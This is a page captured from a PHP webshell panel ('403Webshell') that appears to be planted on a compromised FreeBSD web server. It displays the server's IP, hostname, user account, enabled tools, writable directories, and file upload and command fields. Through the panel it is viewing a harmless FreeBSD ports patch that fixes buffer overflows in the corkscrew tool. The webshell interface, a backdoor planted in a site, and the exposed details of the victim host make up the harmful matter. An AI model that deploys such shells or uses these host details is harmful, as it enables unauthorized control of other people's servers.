403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/corkscrew/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/corkscrew/files/patch-security-corkscrew.c
--- corkscrew.c.orig	2001-08-23 20:27:32.000000000 +0200
+++ corkscrew.c	2010-08-21 10:26:23.000000000 +0200
@@ -201,9 +201,8 @@
 				fprintf(stderr, "Error opening %s: %s\n", argv[5], strerror(errno));
 				exit(-1);
 			} else {
-				char line[4096];
-				fscanf(fp, "%s", line);
-				up = malloc(sizeof(line));
+				char line[1024];
+				fscanf(fp, "%1023s", line);
 				up = line;
 				fclose(fp);
 			}
@@ -249,11 +248,12 @@
 		/* there's probably a better way to do this */
 		if (setup == 0) {
 			if (FD_ISSET(csock, &rfd)) {
-				len = read(csock, buffer, sizeof(buffer));
+				len = read(csock, buffer, sizeof(buffer) -1);
 				if (len<=0)
 					break;
 				else {
-					sscanf(buffer,"%s%d%[^\n]",version,&code,descr);
+					buffer[len] = '\0';
+					sscanf(buffer,"%256s%3d%[^\n]",version,&code,descr);
 					if ((strncmp(version,"HTTP/",5) == 0) && (code >= 200) && (code < 300))
 						setup = 1;
 					else {

Youez - 2016 - github.com/yon3zu
LinuXploit